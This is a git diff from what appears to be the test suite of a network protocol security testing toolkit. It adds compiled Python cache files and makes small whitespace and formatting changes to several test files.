diff --git a/tests/__pycache__/test_mdns_utils.cpython-311.pyc b/tests/__pycache__/test_mdns_utils.cpython-311.pyc
new file mode 100644
index 0000000..b36a8b2
Binary files /dev/null and b/tests/__pycache__/test_mdns_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_mqtt_utils.cpython-311.pyc b/tests/__pycache__/test_mqtt_utils.cpython-311.pyc
new file mode 100644
index 0000000..5752da0
Binary files /dev/null and b/tests/__pycache__/test_mqtt_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_mqttsn_utils.cpython-311.pyc b/tests/__pycache__/test_mqttsn_utils.cpython-311.pyc
new file mode 100644
index 0000000..ce7df95
Binary files /dev/null and b/tests/__pycache__/test_mqttsn_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_protocol_fuzzer.cpython-311.pyc b/tests/__pycache__/test_protocol_fuzzer.cpython-311.pyc
new file mode 100644
index 0000000..6d113c1
Binary files /dev/null and b/tests/__pycache__/test_protocol_fuzzer.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_protocol_tester.cpython-311.pyc b/tests/__pycache__/test_protocol_tester.cpython-311.pyc
new file mode 100644
index 0000000..3080fcc
Binary files /dev/null and b/tests/__pycache__/test_protocol_tester.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_quic_utils.cpython-311.pyc b/tests/__pycache__/test_quic_utils.cpython-311.pyc
new file mode 100644
index 0000000..3b569ae
Binary files /dev/null and b/tests/__pycache__/test_quic_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_resource_listing.cpython-311.pyc b/tests/__pycache__/test_resource_listing.cpython-311.pyc
new file mode 100644
index 0000000..e90ff4a
Binary files /dev/null and b/tests/__pycache__/test_resource_listing.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_rtsp_utils.cpython-311.pyc b/tests/__pycache__/test_rtsp_utils.cpython-311.pyc
new file mode 100644
index 0000000..4714be5
Binary files /dev/null and b/tests/__pycache__/test_rtsp_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_server_fingerprinter.cpython-311.pyc b/tests/__pycache__/test_server_fingerprinter.cpython-311.pyc
new file mode 100644
index 0000000..e9c3605
Binary files /dev/null and b/tests/__pycache__/test_server_fingerprinter.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_service_ping.cpython-311.pyc b/tests/__pycache__/test_service_ping.cpython-311.pyc
new file mode 100644
index 0000000..7f9e86a
Binary files /dev/null and b/tests/__pycache__/test_service_ping.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_ssdp_utils.cpython-311.pyc b/tests/__pycache__/test_ssdp_utils.cpython-311.pyc
new file mode 100644
index 0000000..57f8a9e
Binary files /dev/null and b/tests/__pycache__/test_ssdp_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_traffic_analyzer.cpython-311.pyc b/tests/__pycache__/test_traffic_analyzer.cpython-311.pyc
new file mode 100644
index 0000000..72c0346
Binary files /dev/null and b/tests/__pycache__/test_traffic_analyzer.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_vulnerability_tester.cpython-311.pyc b/tests/__pycache__/test_vulnerability_tester.cpython-311.pyc
new file mode 100644
index 0000000..c3d36b1
Binary files /dev/null and b/tests/__pycache__/test_vulnerability_tester.cpython-311.pyc differ
diff --git a/tests/test_amplifier_detector.py b/tests/test_amplifier_detector.py
index 05fd385..a87db01 100644
--- a/tests/test_amplifier_detector.py
+++ b/tests/test_amplifier_detector.py
@@ -44,7 +44,6 @@ def setUpClass(cls):
)
def test_reflector_sniffer_pos(self):
-
args = ["8.8.8.8", "-I", "0"]
options = amplifier_parse_args(args)
sniffer = ReflectorSniffer(options)
diff --git a/tests/test_cotopaxi_tester.py b/tests/test_cotopaxi_tester.py
index 8d02d29..f733408 100644
--- a/tests/test_cotopaxi_tester.py
+++ b/tests/test_cotopaxi_tester.py
@@ -76,7 +76,6 @@ def test_parse_port_neg(self):
self.assertIn("Could not parse port: invalid literal for int", output)
def test_parse_port_pos(self):
-
result = parse_port("1")
expected = 1
self.assertEqual(result, expected)
diff --git a/tests/test_protocol_fuzzer.py b/tests/test_protocol_fuzzer.py
index beb3032..74aaa1c 100644
--- a/tests/test_protocol_fuzzer.py
+++ b/tests/test_protocol_fuzzer.py
@@ -186,6 +186,7 @@ def test_protocol_fuzzer_mqtt_pos(self):
# print "\n" + 30 * "-" + "\n" + output + "\n" + 30 * "-" + "\n"
self.assertIn("Fuzzing stopped", output)
+
"""
print(mutate_testcase("test.txt", "abcd", 0, 0, 88))
print(mutate_testcase("test.txt", "abcd", 0, 1, 88))
diff --git a/tests/test_traffic_analyzer.py b/tests/test_traffic_analyzer.py
index f04ecd9..70494dd 100644
--- a/tests/test_traffic_analyzer.py
+++ b/tests/test_traffic_analyzer.py
@@ -98,7 +98,11 @@ def test_main_ultimate_pcap_pos(self):
def test_main_max_packets_pos(self):
output = scrap_output(
main,
- ["tests/traffic_samples/chrissanders.org_http_post.pcapng", "--max", "10",],
+ [
+ "tests/traffic_samples/chrissanders.org_http_post.pcapng",
+ "--max",
+ "10",
+ ],
)
self.assertIn("Loaded 21 packets from the provided file", output)
self.assertIn("Found 10 packets", output)